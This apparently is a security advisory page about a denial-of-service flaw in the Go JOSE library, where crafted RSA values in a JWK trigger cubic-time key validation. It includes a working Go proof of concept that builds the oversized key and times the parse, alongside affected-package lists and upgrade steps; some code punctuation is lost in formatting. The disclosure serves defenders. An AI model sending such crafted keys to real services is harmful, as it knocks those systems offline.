CVE-2026-116587: Go JOSE: DoS when parsing JWKs that contain RSA keys

Published Oct 26, 2026
·
Updated

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

go package main

import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time"

"github.com/go-jose/go-jose/v4" )

func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3)

jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), }

protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, := json.Marshal(protected)

jws := map[string]string{ "protected": base64.RawURLEncoding.EncodeToString(protJSON), "payload": base64.RawURLEncoding.EncodeToString([]byte({})), "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")), } jwsJSON, := json.Marshal(jws)

start := time.Now() , err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256}) elapsed := time.Since(start)

fmt.Printf("prime bits: %d\n", primeBits) fmt.Printf("parse time: %s\n", elapsed) fmt.Printf("parse error: %v\n", err) }

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Other sources

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

— Ubuntu

Go JOSE: DoS when parsing JWKs that contain RSA keys

— Microsoft

Affected Software

29 affected componentsFixes available
Go JOSE go-jose<4.1.6
go/github.com/go-jose/go-jose/v3<=3.0.5
go/github.com/go-jose/go-jose/v4<=4.1.5
4.1.6
ubuntu/golang-gopkg-square-go-jose.v2*
ubuntu/golang-gopkg-square-go-jose.v2*
ubuntu/golang-github-go-jose-go-jose*
ubuntu/golang-gopkg-square-go-jose.v2*
ubuntu/golang-github-go-jose-go-jose*
ubuntu/golang-github-go-jose-go-jose.v3*
ubuntu/golang-gopkg-square-go-jose.v2*
ubuntu/golang-github-go-jose-go-jose.v3*
ubuntu/golang-gopkg-square-go-jose.v2*
ubuntu/golang-github-go-jose-go-jose*
debian/golang-github-go-jose-go-jose*
debian/golang-github-go-jose-go-jose*
debian/golang-github-go-jose-go-jose.v3*
debian/golang-github-go-jose-go-jose.v3*
debian/golang-gopkg-square-go-jose.v1*
debian/golang-gopkg-square-go-jose.v1*
debian/golang-gopkg-square-go-jose.v1*
debian/golang-github-go-jose-go-jose<=4.0.5-1, <=4.1.4-2
debian/golang-github-go-jose-go-jose.v3<=3.0.3-6, <=3.0.5-1
debian/golang-gopkg-square-go-jose.v1<=1.1.2-4
debian/golang-gopkg-square-go-jose.v2<=2.6.0-2, <=2.6.3-3, <=2.6.3-4
alpine/docker<29.9.3-r0
29.9.3-r0
All of the following
azurelinux/skopeo<1.14.4-16
1.14.4-16
Microsoft Azure Linux=3.0
All of the following
azurelinux/telegraf<1.31.0-37
1.31.0-37
Microsoft Azure Linux=3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/go-jose/go-jose/v4 to a version that resolves this vulnerability.

    Fixed in 4.1.6
  2. Upgrade

    Upgrade alpine/docker to a version that resolves this vulnerability.

    Fixed in 29.9.3-r0
  3. Upgrade

    Upgrade azurelinux/skopeo to a version that resolves this vulnerability.

    Fixed in 1.14.4-16
  4. Upgrade

    Upgrade azurelinux/telegraf to a version that resolves this vulnerability.

    Fixed in 1.31.0-37
  5. Upgrade

    Upgrade github.com/go-jose/go-jose/v4 to a version that resolves this vulnerability.

    Fixed in 4.1.6

Event History

Oct 26, 2026
CVE Published
via Ubuntu·12:00 AM
Data Sourced
via Ubuntu·12:00 AM
RemedyDescriptionSeverityAffected Software
CVE Published
via MITRE·09:12 PM
Data Sourced
via MITRE·09:12 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Oct 27, 2026
Advisory Published
via GitHub·07:01 PM
Data Sourced
via GitHub·07:01 PM
DescriptionSeverityWeaknessAffected Software
Oct 28, 2026
Data Sourced
via OSV·08:17 PM
Affected Software
Oct 31, 2026
Data Sourced
via Microsoft·08:09 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Applications using Go JOSE versions before 4.1.6 are exposed if they parse JWKs from untrusted sources and run on Go 1.24 or later. Applications that do not process attacker-controlled JWK input are not described as affected by this attack path.

2

What must an attacker provide to trigger the denial of service?

An attacker must cause the application to parse a JWK containing crafted, excessively large or degenerate RSA modulus or prime values. The vulnerable parsing path passes these values to crypto/rsa.PrivateKey.Validate, where validation can consume cubic CPU time on Go 1.24 and later.

3

Is authentication or user interaction required for exploitation?

No. The supplied vector is network-accessible with low attack complexity, no privileges required, and no user interaction required, provided the attacker can submit or otherwise supply an untrusted JWK to the application.

4

What version fixes the issue?

Upgrade Go JOSE to version 4.1.6, which adds the fix for this issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203